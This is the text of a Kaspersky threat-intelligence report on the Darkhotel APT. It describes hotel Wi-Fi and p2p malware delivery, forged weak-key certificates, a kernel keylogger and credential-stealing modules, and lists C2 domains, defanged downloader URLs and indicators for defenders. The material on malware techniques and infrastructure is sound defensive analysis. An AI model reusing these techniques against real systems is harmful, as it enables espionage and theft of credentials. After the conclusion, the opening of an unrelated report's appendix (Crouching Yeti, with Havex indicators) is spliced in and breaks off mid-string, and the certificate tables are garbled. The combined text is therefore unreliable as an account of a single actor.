Summary The Darkhotel APT is a threat actor possessing a seemingly inconsistent and contradictory set of characteristics, some advanced and some fairly rudimentary. Inhospitably operating for almost a decade, the threat actor is currently active. The actor s offensive activity can be tied to specific hotel and business center Wi and physical connections, some of it is also tied to p2p/file sharing networks, and they have been known to spear-phish targets as well. Darkhotel tools are detected as Tapaoux Pioneer Karba , and Nemim , among other names. The following list presents a set of characteristics for the crew: operational competence to compromise, mis-use, and maintain access to global scale, trusted commercial network resources with strategic precision for years advanced mathematical and crypto-analytical offensive capabilities, along with no regard for undermining the trust extended to the Certificate Authorities and the PKI indiscriminately infect systems with some regional clarity over trusted and untrusted resources to build and operate large botnets well-developed low level keyloggers within an effective and consistent toolset a focus throughout campaigns on specific victim categories and tagging them a larger, dynamic infrastructure built of apache webservers, dynamic dns records, crypto libraries, and php webapps regular 0-day access - recent deployment of an embedded Adobe Flash 0-day spear-phishing exploit, and infrequent deployment of other 0-day resources to sustain larger campaigns over several years TLP: Green For any inquiries, please contact intelreports@kaspersky.com Introduction When unsuspecting guests, including situationally aware corporate executives and high-tech entrepreneurs, travel to a variety of hotels and connect to the internet, they are infected with a rare APT Trojan posing as any one of several major software releases. These might be GoogleToolbar, Adobe Flash, Windows Messenger, etc. This first stage of malware helps the attackers to identify more significant victims, leading to the selective download of more advanced stealing tools. At the hotels, these installs are selectively distributed to targeted individuals. This group of attackers seems to know in advance when these individuals will arrive and depart from their high-end hotels. So, the attackers lay in wait until these travelers arrive and connect to the Internet. The FBI issued advisories about similar hotel incidents; Australian government officials produced similar, newsworthy accounts when they were infected. While an FBI announcement related to attacks on hotel guests overseas appeared in May 2012, related Darkhotel samples were already circulating back in 2007. And available Darkhotel server log data records connections as early as Jan 1, 2009. Additionally, seeding p2p networks with widely spread malware and 0-day spear-phishing attacks demonstrate that the Darkhotel APT maintains an effective toolset and a long-running operation behind the questionable hospitality it shows its guests. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Analysis Delivery - Hotels/Business Centers and Indiscriminate Spread Hotels and Business Centers Spread The Darkhotel APT s precise malware spread was observed in several hotels networks, where visitors connecting to the hotel s Wi-Fi were prompted to install software updates to popular software packages. Of course, these packages were really installers for Darkhotel APT s backdoors, added to legitimate installers from Adobe and Google. Digitally signed Darkhotel backdoors were installed alongside the legitimate packages. The most interesting thing about this delivery method is that the hotels require guests to use their last name and room number to login, yet only a few guests received the Darkhotel package. When visiting the same hotels, our honeypot research systems couldn t attract a Darkhotel attack. This data is inconclusive, but it points to misuse of check-in information. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Abusing Network Infrastructure The Darkhotel actor maintained an effective intrusion set at hotel networks, providing ample access to unexpected points of attack over several years. These staging points also provide the attackers with access to check-in/check-out and identity information of visitors to high-end and luxury hotels. As a part of an ongoing investigation, our research led us to embedded iframes within hotel networks that redirected individuals web browsers to phony installers. The attackers were very careful with the placement of these iframes and executables on trusted resources - the hotels network login portals themselves. The attackers were also very careful to immediately delete all traces of their tools as soon as an attack was carried out successfully. Those portals are now reviewed, cleaned and undergoing a further review and hardening process. We observed traces of a couple of these incidents in late 2013 and early 2014 on a victim hotel s network. The attackers set up the environment and hit their individual targets with precision. As soon as their target s stay was over and the attack-frame was closed, the attackers deleted their iframe placement and backdoored executables from the hotel network. The attackers successfully deleted traces of their work from earlier attacks in another hotel, but their offensive techniques were the same. Outside reports of the same activity at other hotels provide enough data to confirm the same careful operations there. The attack technique blurs the line between a couple of common APT tactics; fairly inaccurate watering holes or strategic web compromises and more accurate spearphishing techniques. In this case, the Darkhotel attackers wait for their victim to connect to the Internet over the hotel Wi-Fi or the cable in their room. There is a very strong likelihood the targets will connect over these resources, and the attackers rely on that likelihood, much like at a watering hole. But the attackers also maintain truly precise targeting information over the victim s visit, much like they would know a victim s email address and content interests in a spearphishing attack. While setting up the attack, the Darkhotel attackers knew the target s expected arrival and departure times, room number, and full name, among other data. This data enables the attackers to present the malicious iframe precisely to that individual target. So, here we have yet another unique characteristic of this attacker - they employ a loosely certain but highly precise offensive approach. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Indiscriminate Spread An example of the Darkhotel APT s indiscriminate malware spreading is demonstrated by the way it seeds Japanese p2p sharing sites, where the malware is delivered as a part of a large (approximately 900mb) rar archive. The archive is also spread over bittorrent, as detailed below. Darkhotel uses this method to distribute their Karba Trojan. These Japanese archives, translated for Chinese speaking viewers, appear to be sexual in nature, part of an anime sex/military comic scene, exposing the likely interests of potential targets. This Darkhotel package was downloaded over 30,000 times in less than six months. The p2p bittorrent Darkhotel offering is listed here, posted on 2013.11.22. It was spread throughout 2014. 01-09 .rar This torrent serves up an almost 900 mb file. The rar archive decompresses to a directory full of encrypted zips, the associated decryptor and a password file for decrypting the zips. But what looks like the AxDecrypt.exe decryptor is bound to both the true decryptor and the dropper for the Darkhotel Catch.exe Karba Trojan. When a user downloads the torrent and decrypts the zip files, the trojan surreptitiously is installed and run on the victim system. Catch.exe, detected as Backdoor.Win32.Agent.dgrn, communicates with the following Darkhotel command and control servers: microdelta.crabdance.com microyours.ignorelist.com micronames.jumpingcrab.com microchisk.mooo.com microalba.serveftp.com TLP: Green For any inquiries, please contact intelreports@kaspersky.com Other examples of this Darkhotel backdoor bound within a shared torrent include adult content Japanese anime and more. There are tens of thousands of downloads of these individual torrents. torrent\[hgd ]comic1 [5.08g][ \(comic1 7) [ -shinogi- ( \[hgd ]comic1 [5.08g][ The associated Darkhotel backdoor was hosted on bittorrent, emule, etc, under a variety of comic names. Examples include comics and anime offerings. Related Darkhotel command and control server domains include: microblo5.mooo.com microyours.ignorelist.com micronames.jumpingcrab.com microchisk.mooo.com microalba.serveftp.com Darkhotel Spear-phishing Campaigns Darkhotel campaigns involving typical spear-phished Tapaoux implants publicly appeared in bits and pieces several times over the past five years. These subproject efforts targeted defense industrial base (DIB), government, and NGO organizations. Email content on topics like nuclear energy and weaponry capabilities was used as a lure. Early accounts were posted on contagio describing attacks on NGO organizations and government policy makers. This spear-phishing activity continues into 2014. The attacks follow the typical spear-phishing process and in the past couple of months, exploited systems retrieved downloader executables from web servers like hxxp://office-revision.com/update/files22/update.exe or hxxp://trade-inf.com/mt/ duspr.exe Over the past few years the group has emailed links that redirect targets browsers to Internet Explorer 0-day exploits. Sometimes the attachment itself includes an Adobe 0-day exploit. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Recent 0-day Deployment This crew occasionally deploys 0-day exploits, but burns them when required. In the past few years, they deployed 0-day spear-phishing attacks targeting Adobe products and Microsoft Internet Explorer, including cve-2010-0188. In early 2014, our researchers exposed their use of cve-2014-0497, a Flash 0-day described on Securelist in early February. The crew spear-phished a set of target systems connected to the Internet through Chinese ISPs, and developed capabilities within the 0-day exploits to handle hardened Windows 8.1 systems. It s interesting that the Flash objects were embedded in Korean documents titled List of the latest Japanese AV wind and how to use torrents.docx (loose English translation). The dropped downloader (d8137ded710d83e2339a97ee78494c34) delivered malcode similar to the Information Stealer component functionality summarized below, and detailed in Appendix D. Digital Certificates and Delegitimizing Certificate Authority Trust The Darkhotel actors typically sign their backdoors with digital certificates of one kind or another. However, the certificates originally chosen by this crew are very interesting because of their weak keys and likely abuse by attackers. Here is a listing of the certs that were commonly used to sign Darkhotel malcode, requiring advanced mathematical capabilities to factorize the keys at the time. They are not the only certificates used by the group. More recent activity suggests that the group has stolen certificates to sign their code. Subordinate CA/Issuer Owner Status Valid From Valid To Digisign Server ID (Enrich) flexicorp.jaring.my sha1/ Expired RSA (512 bits) 12/17/2008 12/17/2010 CyberTrust Cybertrust SureServer CA inpack.syniverse.my sha1/RSA (512 bits) Revoked 2/13/2009 2/13/2011 CyberTrust Cybertrust SureServer CA inpack.syniverse.com sha1/RSA (512 bits) Revoked 2/13/2009 2/13/2011 CyberTrust Anthem Inc Certificate Auth ahi.anthem.com sha1/ RSA (512 bits) Invalid Sig. 1/13/2010 1/13/2011 CA Root CyberTrust TLP: Green For any inquiries, please contact intelreports@kaspersky.com CA Root GlobalSign Subordinate CA/Issuer Owner Deutsche Telekom www.kuechentraum2 CA 5 4.de Status Valid From Valid To Revoked 10/20/2008 10/25/2009 Invalid Sig. 12/7/2009 12/7/2010 sha1/RSA (512 bits) CyberTrust Digisign Server ID (Enrich) payments.bnm.gov.m y CyberTrust TaiCA Secure CA esupplychain.com.tw sha1/RSA (512 bits) Expired 7/2/2010 7/17/2011 CyberTrust Digisign Server ID (Enrich) mcrs2.digicert.com. my Invalid Sig 3/28/2010 3/28/2012 CyberTrust Cybertrust SureServer CA agreement.syniverse. Invalid Sig com sha1/RSA (512 bits) 2/13/2009 2/13/2011 CyberTrust Cybertrust SureServer CA ambermms.syniverse. Invalid Sig. 2/16/2009 2/16/2011 Equifax Secure eBusiness CA-1 Equifax Secure eBusiness CA-1 secure.hotelreykjavik.i s Invalid Sig 2/27/2005 3/30/2007 CyberTrust Cybertrust Educational CA stfmail.ccn.ac.uk sha1/ RSA (512 bits) Invalid Sig. 11/12/2008 11/12/2011 CyberTrust Digisign Server ID (Enrich) webmail.jaring.my sha1/ Invalid Sig RSA (512 bits) 6/1/2009 6/1/2011 CyberTrust Cybertrust Educational CA skillsforge.londonmet. ac.uk Invalid Sig 1/16/2009 1/16/2012 CyberTrust Digisign Server ID (Enrich) Invalid Sig 9/29/2009 9/29/2011 CyberTrust Anthem Inc dl-ait-middleware@an Certificate Authority them.com Invalid Sig 4/22/2009 4/22/2010 CyberTrust Cybertrust Educational CA Invalid Sig 9/11/2008 9/11/2011 Verisign Verisign Class 3 Secure OFX CA G3 secure2.eecu.com sha1/ Invalid Sig RSA (512 bits) 10/25/2009 10/26/2010 Microsoft 6/9/2009 12/31/2039 sha1/RSA (512 bits) sha1/RSA (512 bits) sha1/RSA (512 bits) md5/RSA (512 bits) sha1/RSA (512 bits) anjungnet.mardi.gov. my sha1/RSA (512 bits) sha1/RSA (512 bits) ad-idmapp.cityofbrist ol.ac.uk sha1/RSA (512 bits) Root Agency Root Agency Invalid Sig md5/RSA (1024 bits) TLP: Green For any inquiries, please contact intelreports@kaspersky.com CA Root Cybertrust Subordinate CA/Issuer Owner Status Valid From Valid To CyberTrust SureServer CA trainingforms.syniverse. Invalid Sig 2/17/2009 2/17/2011 sha1/RSA (512 bits) All related cases of signed Darkhotel malware share the same Root Certificate Authority and Intermediate Certificate Authority that issued certificates with weak md5 keys (RSA 512 bits). We are confident that our Darkhotel threat actor fraudulently duplicated these certificates to sign its malware. These keys were not stolen. Many of the certificates were noted in a 2011 Fox-IT post RSA-512 Certificates Abused in the Wild To further support this speculation please note the non-specific Microsoft Security Advisory below, the Mozilla advisory addressing the issue at the time, and the Entrust responses. From Microsoft s security advisory from Thursday, November 10, 2011: Microsoft is aware that DigiCert Sdn. Bhd, a Malaysian subordinate certification authority (CA) under Entrust and GTE CyberTrust, has issued 22 certificates with weak 512 bit keys. These weak encryption keys, when broken, could allow an attacker to use the certificates fraudulently to spoof content, perform phishing attacks, or perform man-in-the-middle attacks against all Web browser users including users of Internet Explorer. While this is not a vulnerability in a Microsoft product, this issue affects all supported releases of Microsoft Windows. There is no indication that any certificates were issued fraudulently. Instead, cryptographically weak keys have allowed some of the certificates to be duplicated and used in a fraudulent manner. Microsoft is providing an update for all supported releases of Microsoft Windows that revokes the trust in DigiCert Sdn. Bhd. The update revokes the trust of the following two intermediate CA certificates: Digisign Server ID (Enrich), issued by Entrust.net Certification Authority (2048) Digisign Server ID (Enrich), issued by GTE CyberTrust Global Root From Mozilla s 2011 response: While there is no indication they were issued fraudulently, the weak keys have allowed the certificates to be compromised. Furthermore, certificates from this CA contain several technical issues. They lack an EKU extension specifying their intended usage and they have been issued without revocation information. TLP: Green For any inquiries, please contact intelreports@kaspersky.com From Entrust s response: There is no evidence that the Digicert Malaysia certificate authorities have been compromised. Cracking the keys Here are some notes on the costs and technical requirements of attacking these certificates. The computing power required to crack and factor an RSA 512 bit key was $5000 and the period of time required was about 2 weeks. (see http://lukenotricks. blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html) In October 2012, Tom Ritter reported that it would cost about $120-$150, perhaps even as little as $75. Going even further back, there was much discussion about the technical methods of cracking these keys: DJ Bernstein s 2001 paper on building a machine reducing the cost of integer factorization with Number Field Sieve techniques, breaking 1024 bit RSA keys. s reaction and 2002 statement on whether or not 1024 bit RSA keys are broken: NIST offered a table of proposed key sizes for discussion at its key management workshop in November 2001 [7]. For data that needs to be protected no later than the year 2015, the table indicates that the RSA key size should be at least 1024 bits. For data that needs to be protected longer, the key size should be at least 2048 bits. Other Tapaoux Certificates Recent Tapaoux attacks and backdoors include malware signed with strong SHA1/RSA 2048 bit certificates, suggesting certificate theft. CA Root thawte thawte Subordinate CA/Issuer thawte Primary Root CA thawte Primary Root CA Owner Status Xuchang Hongguang Revoked Technology Co.,Ltd. sha1/RSA (2048bits) Valid From 7/18/2013 Valid To 7/16/2014 Ningbo Gaoxinqu Revoked zhidian Electric Power Technology Co., Ltd. 11/5/2013 11/5/2014 sha1/RSA (2048bits) TLP: Green For any inquiries, please contact intelreports@kaspersky.com Enhanced Keyloggers and Development One of the most interesting components that we discovered as a part of this campaign was the use of a digitally-signed advanced keylogger. It is clean, well-written, kernel level malcode. The languages of its strings are a mix of English and Korean. It is signed with the familiar belinda.jablonski@syniverse.com digital certificate. This keylogger is dropped by code running within svchost.exe on WinXP SP3, which maintains an interesting debug string: d:\KerKey\KerKey( )\KerKey\release\KerKey.pdb Note means General in Korean It probably was developed as a part of a mid-to-late 2009 project: e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c Keylogger Code This driver package is built to resemble a legitimate low-level Microsoft system device. It is installed as a system kernel driver Ndiskpro service, described as Microcode Update Device . It is slightly surprising that no rootkit functionality hides this service: When loaded, the NDISKPRO.SYS driver hooks both INT 0x01 and INT 0xff, and retrieves keystroke data directly from port 0x60, the motherboard keyboard controller itself. It buffers, then communicates logged user data to the running user mode component. This component then encrypts and writes the retrieved values ondisk to a randomly named .tmp, file like ffffz07131101.tmp. This file is located in the same directory as the original dropper, which maintains persistence across reboots with a simple addition to the HKCU run key. TLP: Green For any inquiries, please contact intelreports@kaspersky.com This keylogger module encrypts and stores gathered data in a log file, as mentioned previously. Its encryption algorithm is similar to RC4. The interesting part is that the module randomly generates the key and stores it in an unexpected place: in the middle of the log file name. Hence, the numeric part of the filename is used as a seed for the pseudorandom number generator. The rand function is statically linked to ensure same results on different computers. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Interesting Malware Components The Darkhotel toolset consists of multiple components that have been slightly modified over time. These tools are dropped by hotel installers spoofing legitimate software installers, bound within torrent bundles, or dropped by exploits or hypertext linked from spear-phishing emails. More advanced tools, like the keylogger decribed above, are later downloaded to the victim system by one of these implants. In a recent case, word docs embedded with 0-day flash swf files either dropped these backdoors or downloaded and executed backdoors from remote web servers. These tools pull down the keylogger, steal information from the system, or download other tools. small downloader information stealer Trojan dropper and self-injector selective infector The most interesting behaviors of these components include highly unusual conditional 180 day command and control communications delay self-kill routines when the system default codepage is set to Korean enhanced Microsoft IntelliForm authentication theft handling infostealer module Internet Explorer, Firefox, and Chrome support campaign or stage ID maintenance virtual machine execution sensitivity selective viral infection routines to focus the spread of malware within organizations signed malcode (previously noted) Small Downloader This module is quite small (27Kb) and comes as a part of WinRar SFX file that drops and starts the module from %APPDATA%\Microsoft\Crypto\DES64v7\msieckc.exe. This module is designed to update malicious components through recurring checks at the C&C server. It is also capable of removing some older components, the names of which are hardcoded in the body of the malware. The module adds autorun registry settings to enable an automatic start during system boot. TLP: Green For any inquiries, please contact intelreports@kaspersky.com One of the most interesting functions of this executable is its unusual delay and persistence. If a special file exists on the system, the module will not start calling back to C&C server until the special file is 180 days old. So, if some other critical malicious component was removed during this period, current module backs up and restores access to the system within 6 months. The component gathers system information and sends it to the Darkhotel command and control servers as detailed in Appendix D. Information Stealer This module is relatively large (455Kb) and comes as a part of a WinRar SFX file that drops and starts the module from %APPDATA%\Microsoft\Display\DmaUp3. exe. The main purpose of the module is to collect various secrets stored on a local system and upload them to Darkhotel command and control servers: Cached passwords from Internet Explorer 6/7/8/9 (Windows Protected Storage) Mozilla Firefox stored secrets (<12.0) Chrome stored secrets Gmail Notifier credentials Intelliform-handled data and credentials: Twitter Facebook Yandex Qip Nifty Mail.ru 126.com email Zapak Lavabit (encrypted email service now shut down) Bigstring Gmx Sohu Zoho Sina Care2 Mail.com TLP: Green For any inquiries, please contact intelreports@kaspersky.com Fastmail Inbox Gawab (middle-eastern email service) 163.com Lycos Lycos mail Aol login Yahoo! logins Yahoo! Japan logins Microsoft Live logins Google login credentials This module is designed to terminate itself on Windows with the system default codepage set to Korean. Trojan.Win32.Karba.e This malware is 220Kb in size. It was built as MFC framework application with a lot of extra calls that should have complicated the analysis of the sample. It mimics a GUI desktop application but it does not create any visible windows or dialogs to interact with local users. The Trojan collects data about the system and antimalware software installed on it, and uploads that data to Darkhotel command and control servers. More technical details are provided in Appendix D. Trojan-Dropper & Injector (infected legitimate files) This malware is 63kb in size. It is bound to a variety of other software packages that vary in name, but the host package is consistently detected as Virus.Win32. Pioneer.dx . It drops the igfxext.exe selective infector component to disk and runs it. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Selective Infector This component is a virus, and is used to selectively infiltrate into other computers via USB or network shares. First, the virus retrieves all available disks and starting from disk number 4 (D:\) to disk number 20 (Z:\), finds executable files and infects them. The code simply brute forces the list of mapped removable drives. During its infection routine, the infector changes the entrypoint of executable files, creates an .rdat section, and inserts a small loader in the section, then puts its main payload in the overlay. Every infected file has functionality described in Trojan-Dropper & Injector section, so it can collect information about the computer, send it to the C2 and download other Darkhotel components as commanded. Observed downloaded components are signed with a familiar expired certificate from www.esupplychain.com.tw, issued by Cybertrust SureServer CA. Again, further technical details are provided in Appendix D. Campaign Codes Almost every backdoor in this set maintains an internal campaign code or id, used in initial c2 communications as described above. Some IDs appear to be related to geographic interests, others do not seem obvious. We gathered a list of Darkhotel campaign IDs shown below. Internal IDs and c2 resources overlap across these components, there is no pattern of distribution according to connectback resources. The most common id is DEXT87 DEXT87 step2-auto dome1-auto step2-down Java5.22 C@RNUL-auto dome-down M1Q84K3H NKEX#V1.Q-auto TLP: Green NKstep2-auto PANA(AMB)-auto PANA#MERA SOYA#2-auto step2-down-u (ULT)Q5SS@E.S-down VER1.5.1 VICTORY WINM#V1.Q For any inquiries, please contact intelreports@kaspersky.com Infrastructure and Victims This infrastructure team appears to employ a lesser skillset than top notch campaigns, maintaining weak server configurations with limited monitoring and defensive reactions, and making some simple mistakes. However, they are effective at maintaining a fully available infrastructure to support new and existing infections. Overall, victims in our sinkhole logs and KSN data were found across the globe, with the majority in Japan, Taiwan, China, Russia, Korea and Hong Kong. Sinkhole Domains The following C&C domains have been sinkholed and redirected to the Kaspersky Sinkhole Server 42world.net academyhouse.us adobeplugs.net amanity50.biz autocashhh.hostmefree.org autochecker.myftp.biz autoshop.hostmefree.org autoupdatfreeee.coolwwweb.com checkingvirusscan.com dailyissue.net dailypatch-rnr2008.net fenraw.northgeremy.info generalemountina.com goathoney.biz TLP: Green jpnspts.biz jpqueen.biz mechanicalcomfort.net micromacs.org ncnbroadcasting.reportinside.net neao.biz private.neao.biz reportinside.net self-makeups.com self-makingups.com sourcecodecenter.org support-forum.org updatewifis.dyndns-wiki.com For any inquiries, please contact intelreports@kaspersky.com Victim Locations - KSN and Sinkhole Data KSN Data Our Kaspersky Security Network detected Darkhotel infections across thousands of machines, mostly related to the Darkhotel p2p campaigns. These geolocation estimates probably provide the most accurate picture of where Darkhotel activity is occurring. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Here is a pie chart to better visualize the proportions of attack activity throughout the world. As you can see, over 90% of it occurs in the top five countries: Japan, followed by Taiwan, China, Russia and Korea. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Sinkhole Data Because the operators very actively build up new command and control servers, it is difficult to sinkhole enough domains to get an accurate overall picture of victim system location based on this data. Also, many researcher systems are connected to the sinkholed domains. However, this graph of current sinkhole callbacks presents a low confidence distribution of victim geolocation, with India, Japan, Ireland, Korea, China and Taiwan in the top slots. Removing India and Ireland, the set more closely matches our KSN data. Available ddrlog Victim Data Many of these c2s maintain a common directory path that serves a ddrlog. The ddrlogs appear to maintain callback data that the attackers want to set aside in error logs. Many of the callback URLs have errors, many are from unwanted IP ranges, and others are clearly unwanted researcher sandbox system callbacks. A description of the detailed connectback URL values and their xor/base64 encoding scheme is included in the Interesting Malware Trojan.Win32.Karba.e technical notes in Appendix D. The Darkhotel c2 maintain these directory structures to store and serve ddrlog content: /bin/error/ddrlog /patch/error/ddrlog TLP: Green For any inquiries, please contact intelreports@kaspersky.com The following structures appear to be common across servers, but do not produce ddrlog and do not maintain an /error/ directory: /u2/ /u3/ /patch2/ /major/ inor/ /asp/ /update3/ Two ddrlog files report entries starting January 1, 2009 at 9:16 a.m. autozone.000space.com genuinsman.phpnet.us All of the logs maintain a significant number of entries, almost 50,000, with a simple stamp or . Those records are formatted in the following manner: 2009.01.01 09:16:00 150.70.xxx.xx --> B 2009.01.01 09:16:33 150.70.xxx.xx --> B 2009.01.01 09:14:52 220.108.x.xxx --> L 2009.01.01 09:16:04 112.70.xx.xx --> L Only 120 IP addresses perform the checkin, and 90% of these are from the range 150.70.97.x. This entire range is owned by Trend Micro in Tokyo, JP. A handful of the remaining addresses, like 222.150.70.228, appear to come from other ranges owned by Trend Micro in JP. One outlier comes from an El Salvadoran ISP, and another is connected to a Japanese ISP. Approximately 20,000 IP addresses perform the checkin. Other ddrlogs may include tags as well. The tag labels unwanted checkins from untargeted locations, like Hungary and Italy. The tag labels unwanted checkins from Trend Micro IP ranges. The tag labels unwanted checkins from a variety of ranges, but includes odd IP like the loopback address, 127.0.0.1, clearly an error. Entries in these logs include callback URLs that have spaces and unusual characters that do not conform to the required base64 character dictionary. TLP: Green For any inquiries, please contact intelreports@kaspersky.com C2 Communications and Structure Typical main page: For begatrendstone.com, we have the following directory structure: /bin -read_i.php (main C&C script) -login.php (unknown, replies Wrong ID() /bin/error (error logs stored here) -ddrlog /bin/tmp /bin/SElhxxwiN3pxxiAPxxc9 -all.gif - encrypted stolen victim system content For auto2116.phpnet.us, we have the following directory structure: /patch -chkupdate.php (main command and control script) /patch/error -ddrlog The group encrypts victim data on their servers with single user/passkey combinations across multiple victims. When an unauthorized user attempts to access a Darkhotel web interface for victim management without the correct passkey, the html page and table layout renders properly, but all the data values on the page are returned as garbled ciphertext. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Victim Management New victim systems appear to be systematically vetted. The attackers maintain a web interface to vet these new victim systems. The attackers first and foremost list and sort victim systems according to their latest c2 check-in. Collected data probably is presented in order of importance: 1. user s logon name 2. system CPU and OS Ping sec , or how far the victim system is from the c2 , or the process that the attackers dll code executes within 5. Vac: Antivirus Product identifier 6. system LAN IP 7. network WAN IP Here is an example of one of these web pages: TLP: Green For any inquiries, please contact intelreports@kaspersky.com Researcher Activity Clearly, some automated analysis activity involving researchers sandbox tools are filling up these logs. From June 2013 to April 2014 (approximately an 11 month period), in only 15 ddrlog files, we observe almost 7,000 connections from research sandbox systems. The network connections provide a1= through a3= values identifying a QEMU based sandbox, all sourced from only 485 WAN IP addresses. Under 30 lan IPs are recorded, all in the same 172.16.2.14-126 range. This system(s) uses a Dave user account and HOME-OFF-D5F0AC Windows system name. These characteristics correspond with network activity generated by GFI Software CWsandbox tools, now owned by ThreatTrack Security TLP: Green For any inquiries, please contact intelreports@kaspersky.com Conclusions For the past seven years, a strong threat actor named Darkhotel, also known as Tapaoux, has carried out a number of successful attacks against a wide range of victims from around the world. It employs methods and techniques which go well beyond typical cybercriminal behavior. The Darkhotel crew s skillset allows it to launch interesting cryptographical attacks, for instance factoring 512 bit RSA keys. Its use of 0-days is another indicator of a strong threat actor. The targeting of top executives from various large companies around the world during their stay at certain Dark Hotels is one of the most interesting aspects of this operation. The exact method of targeting is still unknown - for instance, why some people are targeted while others are not. The fact that most of the time the victims are top executives indicates the attackers have knowledge of their victims whereabouts, including name and place of stay. This paints a dark, dangerous web in which unsuspecting travelers can easily fall. While the exact reason why some hotels function as an attacker vector are unknown, certain suspicions exist, indicating possibly a much larger compromise. We are still investigating this aspect of the operation and will publish more information in the future. A further interesting trait is the deployment of multiple types of campaigns, both targeted and botnet. This is becoming more and more common on the APT scene, where targeted attacks are used to compromise high profile victims and botnet style operations are used for massive surveillance or performing other tasks such as launching DDoS attacks on hostile parties or simply upgrading victims to more sophisticated espionage tools. We expect the Darkhotel crew to continue their activities against DIB, Government and NGO sectors. The appendix released with this paper provides technical indicators of compromise which should help victims identify the malicious traffic and enable targets to protect themselves better against attack. TLP: Green For any inquiries, please contact intelreports@kaspersky.com Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: +7-495-797-8700 Fax: +7-495-797-8709 E-mail: info@kaspersky.com Website: www.kaspersky.com Crouching Yeti Appendixes Kaspersky Lab Global Research and Analysis Team Version 1.0 July 2014 Contents I. Appendix 1: Indicators of compromise II. Appendix 2: Havex loader detailed analysis III. Appendix 3: The Sysmain backdoor detailed analysis IV. Appendix 4: Ddex loader detailed analysis V. Appendix 5: The ClientX backdoor detailed analysis VI. Appendix 6: Karagany backdoor detailed analysis VII. Appendix 7: C&C Analysis VIII. Appendix 8: Victim identification IX. Appendix 9: Hashes X. Appendix 10: Delivery methods detailed analysis 10.1. Hijacked installers of legitimate software 10.2. Exploitation 10.3. Obvious Metasploit Rips 10.4. Changing Lights Out exploit sites download flow 10.5. Related Targeted Software and CVE Entries XI. Appendix 11: Malicious Domains and Redirectors XII. Appendix 12: Previous and parallel research TLP: Green For any inquire please contact intelreports@kaspersky.com I. Appendix 1: Indicators of compromise Files: %SYSTEM%\TMPprovider0XX.dll %SYSTEM%\svcprocess0XX.dll %SYSTEM%\Phalanx-3d.Agent.dll %SYSTEM%\Phalanx-3d.ServerAgent.dll %COMMON_APPDATA%\TMPprovider0XX.dll %COMMON_APPDATA%\Phalanx-3d.Agent.dll %COMMON_APPDATA%\Phalanx-3d.ServerAgent.dll %APPDATA%\TMPprovider0XX.dll %APPDATA%\Phalanx-3d.Agent.dll %APPDATA%\Phalanx-3d.ServerAgent.dll %APPDATA%\sydmain.dll %TEMP%\TMPprovider0XX.dll %TEMP%\Phalanx-3d.Agent.dll %TEMP%\Phalanx-3d.ServerAgent.dll %TEMP%\srvsce32.dll %TEMP%\~tmpnet.dll %TEMP%\tmp687.dll %TEMP%\*.xmd %TEMP%\*.yls %TEMP%\qln.dbx %TEMP%\Low\ddex.exe %TEMP%\Low\~tmppnet.dll %TEMP%\Low\~ntp.tmp %TEMP%\Low\~task.tmp %TEMP%\Low\~ldXXXX.TMP %TEMP%\bp.exe %TEMP%\~tmp1237.txt C:\ProgramData\ C:\ProgramData\Cap\ C:\ProgramData\Mail\ C:\ProgramData\Mail\MailAg\ C:\ProgramData\Cap\Cap.exe C:\ProgramData\Mail\MailAg\scs.jpg TLP: Green For any inquire please contact intelreports@kaspersky.com C:\ProgramData\Mail\MailAg\scs.txt Registry values: HKLM\Software\Microsoft\Windows\CurrentVersion\Run@TMP provider HKCU\Software\Microsoft\Windows\CurrentVersion\Run@TMP provider HKLM\Software\Microsoft\Internet Explorer\InternetRegistry@fertger HKCU\\Software\Microsoft\Internet Explorer\InternetRegistry@fertger HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows@ Load= %TEMP%\Low\ddex.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows@ Load= %TEMP%\Low\ddex.exe HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@ID HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@prv HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pubm HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pub HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@nN (where N:=[0,x]) HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pN (where N:=[0,x]) HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@sN (where N:=[0,x]) Mutexes: (6757) HKCU/Identities/Default User ID -18890} example: {8B01CFB5-FF66-4404-89E227E06475EA38}-18890} {AD-18890} HKCU/Identities/Default User ID -01890} example: {8B01CFB5-FF66-4404-89E227E06475EA38}-01890} {ED-01890} Named pipes: \\.\pipe\mypype-f0XX \\.\pipe\mypype-g0XX \\.\pipe\mypipe-h0XX TLP: Green For any inquire please contact intelreports@kaspersky.com II. Appendix 2: Havex loader detailed analysis 2.1. Detailed analysis of the HAVEX loader sample (version 038) File metadata and resources SHA-256: 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 Size: 327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC C2 urls: zhayvoronok.com/wp-includes/pomo/idx.php dreamsblock.com/witadmin/modules/source.php stalprof.com.ua/includes/domit/src.php Resource: ICT 0x69, contains encrypted config: 12.MTMxMjMxMg==.5.havex.10800000.12.Explorer.EXE.0.3.40.zhayvoronok.com/ wp-includes/pomo/idx.php.43.dreamsblock.com/witadmin/modules/source.php.38. stalprof.com.ua/includes/domit/src.php.354.AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyo ED9LxIVQr2Z/gsrHIsgTvK9AusdFo+9..fzAxf1zXj42880+kUmktmVb5HSYi8T27Q54eQ4ZLUFK PKZstgHcwPVHGdwpmmRmk..09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQAAAAAAA 